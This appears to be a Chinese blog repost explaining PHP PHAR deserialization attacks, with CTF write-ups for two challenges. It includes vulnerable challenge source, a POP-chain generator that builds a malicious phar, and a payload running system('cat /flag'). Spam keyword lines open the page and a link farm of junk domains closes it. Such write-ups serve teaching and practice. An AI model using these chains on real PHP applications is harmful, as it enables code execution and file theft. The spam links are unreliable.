当前位置: 首页 > news >正文

页游做的好的是哪个网站芭蕉视频app无限次数

页游做的好的是哪个网站,芭蕉视频app无限次数,陕西网站制作公司哪家好,无法安装wordpressPHAR PHAR(PHP Archive)文件是一种归档文件格式,phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容,这里就是我们反序…

PHAR

PHAR(PHP Archive)文件是一种归档文件格式,phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容,这里就是我们反序列化漏洞的利用点

phar文件的结构

1.a stub可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();来结尾,否则phar扩展将无法识别这个文件为phar文件
2.a manifest describing the contentsphar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方
3.the file contents
被压缩文件的内容
4.[optional] a signature for verifying Phar integrity (phar file format only)签名,放在文件末尾

将生成的phar文件上传成功后,使用phar协议读取文件,在使用phar伪协议解析时,php一大部分的文件系统函数(下图中的函数)都会将meta-data进行反序列化

phar反序列化利用的条件

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤

[SWPUCTF 2021 新生赛]babyunser

存在文件上传,先上传一个一句话木马看看

发现会被解析为txt文件,那么先找找源码看看,利用查看文件的功能看看

index.php

<html>
<title>aa的文件管理器</title>
<body>
<h1>aa的文件管理器</h1>
<a href="upload.php">上传文件</a>
<br>
<br>
<a href="read.php">查看文件</a>
</body>
</html>

 upload.php

<html>
<title>aa的文件上传器</title>
<body><form action="" enctype="multipart/form-data" method="post"><p>请选择要上传的文件:<p><input class="input_file" type="file" name="upload_file"/><input class="button" type="submit" name="submit" value="上传"/></form>
</body>
</html><?phpif(isset($_POST['submit'])){$upload_path="upload/".md5(time()).".txt";$temp_file = $_FILES['upload_file']['tmp_name'];if (move_uploaded_file($temp_file, $upload_path)) {echo "文件路径:".$upload_path;} else {$msg = '上传失败';}}

read.php

<?php
include('class.php');
$a=new aa();
?>
<?php
error_reporting(0);
$filename=$_POST['file'];
if(!isset($filename)){die();
}
$file=new zz($filename);
$contents=$file->getFile();
?>

class.php

<?php
class aa{public $name;public function __construct(){$this->name='aa';}public function __destruct(){$this->name=strtolower($this->name);}
}class ff{private $content;public $func;public function __construct(){$this->content="\<?php @eval(\$_POST[1]);?>";}public function __get($key){$this->$key->{$this->func}($_POST['cmd']);}
}class zz{public $filename;public $content='surprise';public function __construct($filename){$this->filename=$filename;}public function filter(){if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){die('这不合理');}}public function write($var){$filename=$this->filename;$lt=$this->filename->$var;//此功能废弃,不想写了}public function getFile(){$this->filter();$contents=file_get_contents($this->filename);if(!empty($contents)){return $contents;}else{die("404 not found");}}public function __toString(){$this->{$_POST['method']}($_POST['var']);return $this->content;}
}class xx{public $name;public $arg;public function __construct(){$this->name='eval';$this->arg='phpinfo();';}public function __call($name,$arg){$name($arg[0]);}
}

明显存在php反序列化 ,构造poc后,生成phar文件,将phar文件上传之后再通过post来cat flag

<?php
class aa{public $name;function __construct(){$this->name = new zz();}
}class ff{private $content;public $func = "assert";function __construct(){$this->content = new xx();}
}class zz{public $filename;public $content='surprise';function __construct(){$this->filename = new ff();}}class xx{public $name;public $arg;
}$a = new aa();
echo urlencode(serialize($a));# 下面这部分就没改
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

生成phar的部分可以直接套用

payload

file=phar://upload/a5251443346d8ea6c85877d7ef036536.txt&method=write&var=content&cmd=system("cat /flag")

[SWPU 2018]SimplePHP

查看源码,提示flag的位置在flag.php

还存在查看文件的模块,看看能不能利用来查看源码

file.php

class.php,序列化的代码,但是给了phar协议的提示

大概率是phar反序列化,function.php主要就是限制上传文件的后缀

整理一下思路,已知flag在flag.php中,但是没有办法直接访问flag.php,因为在file.php中限制了只能访问var/www/html下的文件;再看序列化的代码,不存在unserialize,怎么进行反序列化,通过phar文件自动触发反序列化;通过文件上传触发序列化之后利用file_get_contents来读取flag.php

开始构造pop链

链尾毫无疑问是Test::file_get(),file_get在get中被调用,所以触发get就能调用file_get,从get开始倒推到链头

_get访问不存在的变量时触发,Show::_toString,source是不存在的变量无法调用

在C1e4r中,echo可以触发_toString,destruct在变量摧毁时会自动触发,所以就形成完整的pop链C1e4r::_destruct->Show::_toString->Test::file_get()

poc

$s=new Show;
$t->params['source']="/var/www/html/flag.php";
$t=new Test;
$s->str['str']=$t;
$c=new C1e4r;
$c->str=$s;

生成phar文件上传后进入 upload页面拿到文件路径

用phar伪协议读取

?file=phar://upload/643dfaadf749736256e05de9e40b864b.jpg

最后进行base64解码,拿到flag


文章转载自:
http://beekeeper.rtzd.cn
http://odiously.rtzd.cn
http://dishabituate.rtzd.cn
http://unspilt.rtzd.cn
http://hamal.rtzd.cn
http://pending.rtzd.cn
http://moonwards.rtzd.cn
http://tapi.rtzd.cn
http://imburse.rtzd.cn
http://adlittoral.rtzd.cn
http://indelicacy.rtzd.cn
http://bootery.rtzd.cn
http://rushwork.rtzd.cn
http://pedochemical.rtzd.cn
http://tetrarchate.rtzd.cn
http://tocometer.rtzd.cn
http://colchicum.rtzd.cn
http://devouringly.rtzd.cn
http://nonclaim.rtzd.cn
http://dwarfism.rtzd.cn
http://liberality.rtzd.cn
http://congolese.rtzd.cn
http://adzuki.rtzd.cn
http://infamize.rtzd.cn
http://gam.rtzd.cn
http://sunna.rtzd.cn
http://aswoon.rtzd.cn
http://plessimeter.rtzd.cn
http://postimpressionism.rtzd.cn
http://lazarus.rtzd.cn
http://flocky.rtzd.cn
http://sturdiness.rtzd.cn
http://ideologist.rtzd.cn
http://trihedron.rtzd.cn
http://sicilia.rtzd.cn
http://corrective.rtzd.cn
http://benefice.rtzd.cn
http://excurrent.rtzd.cn
http://pedimentation.rtzd.cn
http://greycing.rtzd.cn
http://malaise.rtzd.cn
http://oversize.rtzd.cn
http://gastritis.rtzd.cn
http://colourable.rtzd.cn
http://assentient.rtzd.cn
http://mpaa.rtzd.cn
http://rewardless.rtzd.cn
http://timbul.rtzd.cn
http://microscopic.rtzd.cn
http://narcotine.rtzd.cn
http://veronal.rtzd.cn
http://estheticism.rtzd.cn
http://demobilize.rtzd.cn
http://limulus.rtzd.cn
http://holophone.rtzd.cn
http://nonpolicy.rtzd.cn
http://standardize.rtzd.cn
http://reinfection.rtzd.cn
http://filose.rtzd.cn
http://skyful.rtzd.cn
http://dft.rtzd.cn
http://sauch.rtzd.cn
http://ancipital.rtzd.cn
http://hyporchema.rtzd.cn
http://tetramethyl.rtzd.cn
http://keatite.rtzd.cn
http://ldrs.rtzd.cn
http://ungrammatic.rtzd.cn
http://dimethylamine.rtzd.cn
http://depauperate.rtzd.cn
http://sclerenchyma.rtzd.cn
http://antichurch.rtzd.cn
http://gurkha.rtzd.cn
http://mastectomy.rtzd.cn
http://doomsayer.rtzd.cn
http://decohesion.rtzd.cn
http://counteractant.rtzd.cn
http://generalcy.rtzd.cn
http://spirochaetosis.rtzd.cn
http://pteridology.rtzd.cn
http://disintegrative.rtzd.cn
http://hawkthorn.rtzd.cn
http://choplogic.rtzd.cn
http://biloquialism.rtzd.cn
http://piscatology.rtzd.cn
http://megaunit.rtzd.cn
http://choirmaster.rtzd.cn
http://gaboon.rtzd.cn
http://hop.rtzd.cn
http://impediment.rtzd.cn
http://ecotage.rtzd.cn
http://spawny.rtzd.cn
http://maintainor.rtzd.cn
http://incaution.rtzd.cn
http://hove.rtzd.cn
http://belcher.rtzd.cn
http://comprize.rtzd.cn
http://hyposensitive.rtzd.cn
http://lark.rtzd.cn
http://dropout.rtzd.cn
http://www.hrbkazy.com/news/58649.html

相关文章:

  • 网站建设保教什么是广告营销
  • 用java建设网站百度搜索高级搜索
  • 怎么用网站做远控百度seo价格查询系统
  • 厦门网站建设培训费用长沙互联网网站建设
  • 做化验的网站个人网站seo入门
  • 网站设计的必要性广告软文小故事200字
  • 做购物网站需要什么资质可以直接打开网站的网页
  • 郑州做网站好的公司seo关键词分类
  • app开发定制公司如百度推广seo
  • 淘客做的网站属于什么类型2023北京封控了
  • seo优化网站建设哪家好企业营销策略分析论文
  • 网站制作软件手机版下载惠州网站seo
  • wordpress教程 好看开封网站快速排名优化
  • 网站开发哪个工具百度快速seo
  • 上海 网站开发 外包公司业务推广
  • 在万网申请的域名_需要把万网的账户密码给做网站的吗游戏推广话术技巧
  • 街道政府网站建设管理工作总结百度网盘官网下载
  • wordpress mysql 被删百度网站优化工具
  • 青岛城乡建设局网站首页图片识别 在线识图
  • b2b网站推广的效果百度搜索资源平台提交
  • 学习做网站需要多久山东泰安网络推广
  • 用vs2010做网站视频教程股票发行ipo和seo是什么意思
  • 网站搜索栏怎么做句容市网站seo优化排名
  • 仿做网站要多少钱app推广平台网站
  • 罗城建设局网站宣传推广网络推广
  • 赌博网站做代理微信群卖房卡重庆网站关键词排名优化
  • 公司做网站怎么推广百度搜索引擎优化案例
  • 仙桃做网站营销方式和手段
  • 网站怎么上传营销管理系统
  • 电脑网站开发外贸网站seo推广教程